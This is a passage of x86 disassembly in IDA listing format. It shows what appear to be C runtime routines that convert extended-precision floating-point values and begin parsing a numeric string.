5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_10], ebx mov [ebp+var_C], eax jns short loc_419E4F dec edx or edx, 0FFFFFFE0h inc edx loc_419E4F: ; CODE XREF: sub_419DAB+9Dj lea edi, [ebp+eax*4+var_20] push 1Fh xor eax, eax pop ecx sub ecx, edx inc eax shl eax, cl mov [ebp+var_8], ecx test [edi], eax jz loc_419EF5 mov eax, [ebp+var_C] or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_419E7D ; --------------------------------------------------------------------------- loc_419E78: ; CODE XREF: sub_419DAB+D8j cmp [ebp+eax*4+var_20], 0 loc_419E7D: ; CODE XREF: sub_419DAB+CBj jnz short loc_419E87 inc eax cmp eax, 3 jl short loc_419E78 jmp short loc_419EF5 ; --------------------------------------------------------------------------- loc_419E87: ; CODE XREF: sub_419DAB:loc_419E7Dj mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_419EA1 dec esi or esi, 0FFFFFFE0h inc esi loc_419EA1: ; CODE XREF: sub_419DAB+EFj and [ebp+var_4], 0 sub ecx, esi xor edx, edx inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] add esi, edx mov [ebp+arg_0], esi mov esi, [ecx] cmp [ebp+arg_0], esi jb short loc_419EE0 cmp [ebp+arg_0], edx jmp short loc_419EDE ; --------------------------------------------------------------------------- loc_419EC3: ; CODE XREF: sub_419DAB+145j test ecx, ecx jz short loc_419EF2 and [ebp+var_4], 0 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] mov [ebp+arg_0], esi cmp esi, edx jb short loc_419EE0 cmp esi, 1 loc_419EDE: ; CODE XREF: sub_419DAB+116j jnb short loc_419EE7 loc_419EE0: ; CODE XREF: sub_419DAB+111j ; sub_419DAB+12Ej mov [ebp+var_4], 1 loc_419EE7: ; CODE XREF: sub_419DAB:loc_419EDEj dec eax mov edx, [ebp+arg_0] mov [ecx], edx mov ecx, [ebp+var_4] jns short loc_419EC3 loc_419EF2: ; CODE XREF: sub_419DAB+11Aj mov [ebp+arg_0], ecx loc_419EF5: ; CODE XREF: sub_419DAB+B7j ; sub_419DAB+DAj mov ecx, [ebp+var_8] or eax, 0FFFFFFFFh shl eax, cl and [edi], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_419F15 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_419F15: ; CODE XREF: sub_419DAB+15Bj cmp [ebp+arg_0], 0 jz short loc_419F1C inc ebx loc_419F1C: ; CODE XREF: sub_419DAB+16Ej mov eax, dword_42E034 mov ecx, eax sub ecx, dword_42E038 cmp ebx, ecx jge short loc_419F3A xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd jmp loc_41A147 ; --------------------------------------------------------------------------- loc_419F3A: ; CODE XREF: sub_419DAB+180j cmp ebx, eax jg loc_41A151 sub eax, [ebp+var_10] lea esi, [ebp+var_2C] mov ecx, eax lea edi, [ebp+var_20] movsd cdq and edx, 1Fh add eax, edx movsd mov edx, ecx sar eax, 5 and edx, 8000001Fh movsd jns short loc_419F68 dec edx or edx, 0FFFFFFE0h inc edx loc_419F68: ; CODE XREF: sub_419DAB+1B6j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_419F83: ; CODE XREF: sub_419DAB+203j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_419F83 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_419FBD: ; CODE XREF: sub_419DAB+229j cmp edx, eax jl short loc_419FC9 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_419FCE ; --------------------------------------------------------------------------- loc_419FC9: ; CODE XREF: sub_419DAB+214j and [ebp+edx*4+var_20], 0 loc_419FCE: ; CODE XREF: sub_419DAB+21Cj dec edx sub ecx, 4 test edx, edx jge short loc_419FBD mov esi, dword_42E038 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_C], eax jns short loc_419FFD dec edx or edx, 0FFFFFFE0h inc edx loc_419FFD: ; CODE XREF: sub_419DAB+24Bj push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl lea ebx, [ebp+eax*4+var_20] mov [ebp+var_10], ecx test [ebx], edx jz loc_41A098 or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_41A028 ; --------------------------------------------------------------------------- loc_41A023: ; CODE XREF: sub_419DAB+283j cmp [ebp+eax*4+var_20], 0 loc_41A028: ; CODE XREF: sub_419DAB+276j jnz short loc_41A032 inc eax cmp eax, 3 jl short loc_41A023 jmp short loc_41A098 ; --------------------------------------------------------------------------- loc_41A032: ; CODE XREF: sub_419DAB:loc_41A028j mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_41A04C dec esi or esi, 0FFFFFFE0h inc esi loc_41A04C: ; CODE XREF: sub_419DAB+29Aj and [ebp+arg_0], 0 xor edx, edx sub ecx, esi inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] lea edi, [esi+edx] cmp edi, esi jb short loc_41A068 cmp edi, edx jnb short loc_41A06F loc_41A068: ; CODE XREF: sub_419DAB+2B7j mov [ebp+arg_0], 1 loc_41A06F: ; CODE XREF: sub_419DAB+2BBj mov [ecx], edi mov ecx, [ebp+arg_0] jmp short loc_41A095 ; --------------------------------------------------------------------------- loc_41A076: ; CODE XREF: sub_419DAB+2EBj test ecx, ecx jz short loc_41A098 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] xor edi, edi cmp esi, edx jb short loc_41A08E cmp esi, 1 jnb short loc_41A091 loc_41A08E: ; CODE XREF: sub_419DAB+2DCj xor edi, edi inc edi loc_41A091: ; CODE XREF: sub_419DAB+2E1j mov [ecx], esi mov ecx, edi loc_41A095: ; CODE XREF: sub_419DAB+2C9j dec eax jns short loc_41A076 loc_41A098: ; CODE XREF: sub_419DAB+265j ; sub_419DAB+285j ... mov ecx, [ebp+var_10] or eax, 0FFFFFFFFh shl eax, cl and [ebx], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_41A0B8 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_41A0B8: ; CODE XREF: sub_419DAB+2FEj mov ecx, dword_42E03C inc ecx mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41A0D9 dec edx or edx, 0FFFFFFE0h inc edx loc_41A0D9: ; CODE XREF: sub_419DAB+327j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41A0F4: ; CODE XREF: sub_419DAB+374j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41A0F4 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41A12E: ; CODE XREF: sub_419DAB+39Aj cmp edx, eax jl short loc_41A13A mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41A13F ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419DAB+385j and [ebp+edx*4+var_20], 0 loc_41A13F: ; CODE XREF: sub_419DAB+38Dj dec edx sub ecx, 4 test edx, edx jge short loc_41A12E loc_41A147: ; CODE XREF: sub_419DAB+18Aj push 2 xor ebx, ebx pop eax jmp loc_41A2AB ; --------------------------------------------------------------------------- loc_41A151: ; CODE XREF: sub_419DAB+191j cmp ebx, dword_42E030 mov ecx, dword_42E03C jl loc_41A210 xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd or [ebp+var_20], 80000000h mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41A18C dec edx or edx, 0FFFFFFE0h inc edx loc_41A18C: ; CODE XREF: sub_419DAB+3DAj and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41A1A7: ; CODE XREF: sub_419DAB+427j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41A1A7 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41A1E1: ; CODE XREF: sub_419DAB+44Dj cmp edx, eax jl short loc_41A1ED mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41A1F2 ; --------------------------------------------------------------------------- loc_41A1ED: ; CODE XREF: sub_419DAB+438j and [ebp+edx*4+var_20], 0 loc_41A1F2: ; CODE XREF: sub_419DAB+440j dec edx sub ecx, 4 test edx, edx jge short loc_41A1E1 mov eax, dword_42E030 mov ecx, dword_42E044 lea ebx, [ecx+eax] xor eax, eax inc eax jmp loc_41A2AB ; --------------------------------------------------------------------------- loc_41A210: ; CODE XREF: sub_419DAB+3B2j mov eax, dword_42E044 and [ebp+var_20], 7FFFFFFFh add ebx, eax mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41A238 dec edx or edx, 0FFFFFFE0h inc edx loc_41A238: ; CODE XREF: sub_419DAB+486j and [ebp+var_C], 0 and [ebp+arg_0], 0 or esi, 0FFFFFFFFh mov ecx, edx shl esi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not esi loc_41A253: ; CODE XREF: sub_419DAB+4D6j mov ecx, [ebp+arg_0] mov edi, [ebp+ecx*4+var_20] mov ecx, edi and ecx, esi mov [ebp+var_10], ecx mov ecx, edx shr edi, cl mov ecx, [ebp+arg_0] or edi, [ebp+var_C] mov [ebp+ecx*4+var_20], edi mov edi, [ebp+var_10] mov ecx, [ebp+var_4] shl edi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], edi jl short loc_41A253 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41A290: ; CODE XREF: sub_419DAB+4FCj cmp edx, eax jl short loc_41A29C mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41A2A1 ; --------------------------------------------------------------------------- loc_41A29C: ; CODE XREF: sub_419DAB+4E7j and [ebp+edx*4+var_20], 0 loc_41A2A1: ; CODE XREF: sub_419DAB+4EFj dec edx sub ecx, 4 test edx, edx jge short loc_41A290 xor eax, eax loc_41A2AB: ; CODE XREF: sub_419DAB+3A1j ; sub_419DAB+460j pop esi loc_41A2AC: ; CODE XREF: sub_419DAB+57j ; sub_419DAB+67j push 1Fh pop ecx sub ecx, dword_42E03C shl ebx, cl mov ecx, [ebp+var_14] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx mov ecx, dword_42E040 or ebx, [ebp+var_20] cmp ecx, 40h jnz short loc_41A2E1 mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], ebx mov [ecx], edx jmp short loc_41A2EB ; --------------------------------------------------------------------------- loc_41A2E1: ; CODE XREF: sub_419DAB+527j cmp ecx, 20h jnz short loc_41A2EB mov ecx, [ebp+arg_4] mov [ecx], ebx loc_41A2EB: ; CODE XREF: sub_419DAB+534j ; sub_419DAB+539j pop edi pop ebx leave retn sub_419DAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2EF proc near ; CODE XREF: sub_419980+46p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx mov ebx, ecx and ecx, 8000h mov [ebp+var_14], ecx mov ecx, [eax+6] mov [ebp+var_20], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] and ebx, 7FFFh sub ebx, 3FFFh shl eax, 10h push edi mov [ebp+var_1C], ecx mov [ebp+var_18], eax cmp ebx, 0FFFFC001h jnz short loc_41A35B xor ebx, ebx xor eax, eax loc_41A338: ; CODE XREF: sub_41A2EF+53j cmp [ebp+eax*4+var_20], ebx jnz short loc_41A34B inc eax cmp eax, 3 jl short loc_41A338 xor eax, eax jmp loc_41A7F0 ; --------------------------------------------------------------------------- loc_41A34B: ; CODE XREF: sub_41A2EF+4Dj xor eax, eax lea edi, [ebp+var_20] stosd stosd push 2 stosd pop eax jmp loc_41A7F0 ; --------------------------------------------------------------------------- loc_41A35B: ; CODE XREF: sub_41A2EF+43j and [ebp+arg_0], 0 push esi lea esi, [ebp+var_20] lea edi, [ebp+var_2C] movsd movsd movsd mov esi, dword_42E050 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_10], ebx mov [ebp+var_C], eax jns short loc_41A393 dec edx or edx, 0FFFFFFE0h inc edx loc_41A393: ; CODE XREF: sub_41A2EF+9Dj lea edi, [ebp+eax*4+var_20] push 1Fh xor eax, eax pop ecx sub ecx, edx inc eax shl eax, cl mov [ebp+var_8], ecx test [edi], eax jz loc_41A439 mov eax, [ebp+var_C] or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_41A3C1 ; --------------------------------------------------------------------------- loc_41A3BC: ; CODE XREF: sub_41A2EF+D8j cmp [ebp+eax*4+var_20], 0 loc_41A3C1: ; CODE XREF: sub_41A2EF+CBj jnz short loc_41A3CB inc eax cmp eax, 3 jl short loc_41A3BC jmp short loc_41A439 ; --------------------------------------------------------------------------- loc_41A3CB: ; CODE XREF: sub_41A2EF:loc_41A3C1j mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_41A3E5 dec esi or esi, 0FFFFFFE0h inc esi loc_41A3E5: ; CODE XREF: sub_41A2EF+EFj and [ebp+var_4], 0 sub ecx, esi xor edx, edx inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] add esi, edx mov [ebp+arg_0], esi mov esi, [ecx] cmp [ebp+arg_0], esi jb short loc_41A424 cmp [ebp+arg_0], edx jmp short loc_41A422 ; --------------------------------------------------------------------------- loc_41A407: ; CODE XREF: sub_41A2EF+145j test ecx, ecx jz short loc_41A436 and [ebp+var_4], 0 lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] mov [ebp+arg_0], esi cmp esi, edx jb short loc_41A424 cmp esi, 1 loc_41A422: ; CODE XREF: sub_41A2EF+116j jnb short loc_41A42B loc_41A424: ; CODE XREF: sub_41A2EF+111j ; sub_41A2EF+12Ej mov [ebp+var_4], 1 loc_41A42B: ; CODE XREF: sub_41A2EF:loc_41A422j dec eax mov edx, [ebp+arg_0] mov [ecx], edx mov ecx, [ebp+var_4] jns short loc_41A407 loc_41A436: ; CODE XREF: sub_41A2EF+11Aj mov [ebp+arg_0], ecx loc_41A439: ; CODE XREF: sub_41A2EF+B7j ; sub_41A2EF+DAj mov ecx, [ebp+var_8] or eax, 0FFFFFFFFh shl eax, cl and [edi], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_41A459 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_41A459: ; CODE XREF: sub_41A2EF+15Bj cmp [ebp+arg_0], 0 jz short loc_41A460 inc ebx loc_41A460: ; CODE XREF: sub_41A2EF+16Ej mov eax, dword_42E04C mov ecx, eax sub ecx, dword_42E050 cmp ebx, ecx jge short loc_41A47E xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd jmp loc_41A68B ; --------------------------------------------------------------------------- loc_41A47E: ; CODE XREF: sub_41A2EF+180j cmp ebx, eax jg loc_41A695 sub eax, [ebp+var_10] lea esi, [ebp+var_2C] mov ecx, eax lea edi, [ebp+var_20] movsd cdq and edx, 1Fh add eax, edx movsd mov edx, ecx sar eax, 5 and edx, 8000001Fh movsd jns short loc_41A4AC dec edx or edx, 0FFFFFFE0h inc edx loc_41A4AC: ; CODE XREF: sub_41A2EF+1B6j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41A4C7: ; CODE XREF: sub_41A2EF+203j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41A4C7 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41A501: ; CODE XREF: sub_41A2EF+229j cmp edx, eax jl short loc_41A50D mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41A512 ; --------------------------------------------------------------------------- loc_41A50D: ; CODE XREF: sub_41A2EF+214j and [ebp+edx*4+var_20], 0 loc_41A512: ; CODE XREF: sub_41A2EF+21Cj dec edx sub ecx, 4 test edx, edx jge short loc_41A501 mov esi, dword_42E050 dec esi lea ecx, [esi+1] mov eax, ecx cdq and edx, 1Fh add eax, edx sar eax, 5 mov edx, ecx and edx, 8000001Fh mov [ebp+var_C], eax jns short loc_41A541 dec edx or edx, 0FFFFFFE0h inc edx loc_41A541: ; CODE XREF: sub_41A2EF+24Bj push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl lea ebx, [ebp+eax*4+var_20] mov [ebp+var_10], ecx test [ebx], edx jz loc_41A5DC or edx, 0FFFFFFFFh shl edx, cl not edx test [ebp+eax*4+var_20], edx jmp short loc_41A56C ; --------------------------------------------------------------------------- loc_41A567: ; CODE XREF: sub_41A2EF+283j cmp [ebp+eax*4+var_20], 0 loc_41A56C: ; CODE XREF: sub_41A2EF+276j jnz short loc_41A576 inc eax cmp eax, 3 jl short loc_41A567 jmp short loc_41A5DC ; --------------------------------------------------------------------------- loc_41A576: ; CODE XREF: sub_41A2EF:loc_41A56Cj mov eax, esi cdq push 1Fh pop ecx and edx, ecx add eax, edx sar eax, 5 and esi, 8000001Fh jns short loc_41A590 dec esi or esi, 0FFFFFFE0h inc esi loc_41A590: ; CODE XREF: sub_41A2EF+29Aj and [ebp+arg_0], 0 xor edx, edx sub ecx, esi inc edx shl edx, cl lea ecx, [ebp+eax*4+var_20] mov esi, [ecx] lea edi, [esi+edx] cmp edi, esi jb short loc_41A5AC cmp edi, edx jnb short loc_41A5B3 loc_41A5AC: ; CODE XREF: sub_41A2EF+2B7j mov [ebp+arg_0], 1 loc_41A5B3: ; CODE XREF: sub_41A2EF+2BBj mov [ecx], edi mov ecx, [ebp+arg_0] jmp short loc_41A5D9 ; --------------------------------------------------------------------------- loc_41A5BA: ; CODE XREF: sub_41A2EF+2EBj test ecx, ecx jz short loc_41A5DC lea ecx, [ebp+eax*4+var_20] mov edx, [ecx] lea esi, [edx+1] xor edi, edi cmp esi, edx jb short loc_41A5D2 cmp esi, 1 jnb short loc_41A5D5 loc_41A5D2: ; CODE XREF: sub_41A2EF+2DCj xor edi, edi inc edi loc_41A5D5: ; CODE XREF: sub_41A2EF+2E1j mov [ecx], esi mov ecx, edi loc_41A5D9: ; CODE XREF: sub_41A2EF+2C9j dec eax jns short loc_41A5BA loc_41A5DC: ; CODE XREF: sub_41A2EF+265j ; sub_41A2EF+285j ... mov ecx, [ebp+var_10] or eax, 0FFFFFFFFh shl eax, cl and [ebx], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_41A5FC push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_41A5FC: ; CODE XREF: sub_41A2EF+2FEj mov ecx, dword_42E054 inc ecx mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41A61D dec edx or edx, 0FFFFFFE0h inc edx loc_41A61D: ; CODE XREF: sub_41A2EF+327j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41A638: ; CODE XREF: sub_41A2EF+374j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41A638 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41A672: ; CODE XREF: sub_41A2EF+39Aj cmp edx, eax jl short loc_41A67E mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41A683 ; --------------------------------------------------------------------------- loc_41A67E: ; CODE XREF: sub_41A2EF+385j and [ebp+edx*4+var_20], 0 loc_41A683: ; CODE XREF: sub_41A2EF+38Dj dec edx sub ecx, 4 test edx, edx jge short loc_41A672 loc_41A68B: ; CODE XREF: sub_41A2EF+18Aj push 2 xor ebx, ebx pop eax jmp loc_41A7EF ; --------------------------------------------------------------------------- loc_41A695: ; CODE XREF: sub_41A2EF+191j cmp ebx, dword_42E048 mov ecx, dword_42E054 jl loc_41A754 xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd or [ebp+var_20], 80000000h mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41A6D0 dec edx or edx, 0FFFFFFE0h inc edx loc_41A6D0: ; CODE XREF: sub_41A2EF+3DAj and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_41A6EB: ; CODE XREF: sub_41A2EF+427j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_41A6EB mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41A725: ; CODE XREF: sub_41A2EF+44Dj cmp edx, eax jl short loc_41A731 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41A736 ; --------------------------------------------------------------------------- loc_41A731: ; CODE XREF: sub_41A2EF+438j and [ebp+edx*4+var_20], 0 loc_41A736: ; CODE XREF: sub_41A2EF+440j dec edx sub ecx, 4 test edx, edx jge short loc_41A725 mov eax, dword_42E048 mov ecx, dword_42E05C lea ebx, [ecx+eax] xor eax, eax inc eax jmp loc_41A7EF ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A2EF+3B2j mov eax, dword_42E05C and [ebp+var_20], 7FFFFFFFh add ebx, eax mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41A77C dec edx or edx, 0FFFFFFE0h inc edx loc_41A77C: ; CODE XREF: sub_41A2EF+486j and [ebp+var_C], 0 and [ebp+arg_0], 0 or esi, 0FFFFFFFFh mov ecx, edx shl esi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not esi loc_41A797: ; CODE XREF: sub_41A2EF+4D6j mov ecx, [ebp+arg_0] mov edi, [ebp+ecx*4+var_20] mov ecx, edi and ecx, esi mov [ebp+var_10], ecx mov ecx, edx shr edi, cl mov ecx, [ebp+arg_0] or edi, [ebp+var_C] mov [ebp+ecx*4+var_20], edi mov edi, [ebp+var_10] mov ecx, [ebp+var_4] shl edi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], edi jl short loc_41A797 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41A7D4: ; CODE XREF: sub_41A2EF+4FCj cmp edx, eax jl short loc_41A7E0 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41A7E5 ; --------------------------------------------------------------------------- loc_41A7E0: ; CODE XREF: sub_41A2EF+4E7j and [ebp+edx*4+var_20], 0 loc_41A7E5: ; CODE XREF: sub_41A2EF+4EFj dec edx sub ecx, 4 test edx, edx jge short loc_41A7D4 xor eax, eax loc_41A7EF: ; CODE XREF: sub_41A2EF+3A1j ; sub_41A2EF+460j pop esi loc_41A7F0: ; CODE XREF: sub_41A2EF+57j ; sub_41A2EF+67j push 1Fh pop ecx sub ecx, dword_42E054 shl ebx, cl mov ecx, [ebp+var_14] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx mov ecx, dword_42E058 or ebx, [ebp+var_20] cmp ecx, 40h jnz short loc_41A825 mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], ebx mov [ecx], edx jmp short loc_41A82F ; --------------------------------------------------------------------------- loc_41A825: ; CODE XREF: sub_41A2EF+527j cmp ecx, 20h jnz short loc_41A82F mov ecx, [ebp+arg_4] mov [ecx], ebx loc_41A82F: ; CODE XREF: sub_41A2EF+534j ; sub_41A2EF+539j pop edi pop ebx leave retn sub_41A2EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A833 proc near ; CODE XREF: sub_4198D8+39p ; sub_419980+39p var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_46 = dword ptr -46h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_9 = byte ptr -9 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h mov edi, edi push ebp mov ebp, esp sub esp, 7Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx xor ebx, ebx push esi xor esi, esi mov [ebp+var_78], eax mov eax, [ebp+arg_4] inc esi xor ecx, ecx push edi mov [ebp+var_70], eax lea edi, [ebp+var_20] mov [ebp+var_74], ebx mov [ebp+var_68], esi mov [ebp+var_4C], ebx mov [ebp+var_58], ebx mov [ebp+var_5C], ebx mov [ebp+var_60], ebx mov [ebp+var_64], ebx mov [ebp+var_50], ebx mov [ebp+var_6C], ebx cmp [ebp+arg_1C], ebx jnz short loc_41A89D call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h xor eax, eax jmp loc_41AEEB ; --------------------------------------------------------------------------- loc_41A89D: ; CODE XREF: sub_41A833+49j mov edx, [ebp+arg_8] mov [ebp+var_54], edx loc_41A8A3: ; CODE XREF: sub_41A833+83j mov al, [edx] cmp al, 20h jz short loc_41A8B5 cmp al, 9 jz short loc_41A8B5 cmp al, 0Ah jz short loc_41A8B5 cmp al, 0Dh jnz short loc_41A8B8 loc_41A8B5: ; CODE XREF: sub_41A833+74j ; sub_41A833+78j ... inc edx jmp short loc_41A8A3 ; --------------------------------------------------------------------------- loc_41A8B8: ; CODE XREF: sub_41A833+80j mov bl, 30h loc_41A8BA: ; CODE XREF: sub_41A833+A8j ; sub_41A833+BEj ... mov al, [edx] inc edx cmp ecx, 0Bh ; switch 12 cases ja loc_41AAF5 ; default ; jumptable 0041A8C6 case 10 jmp 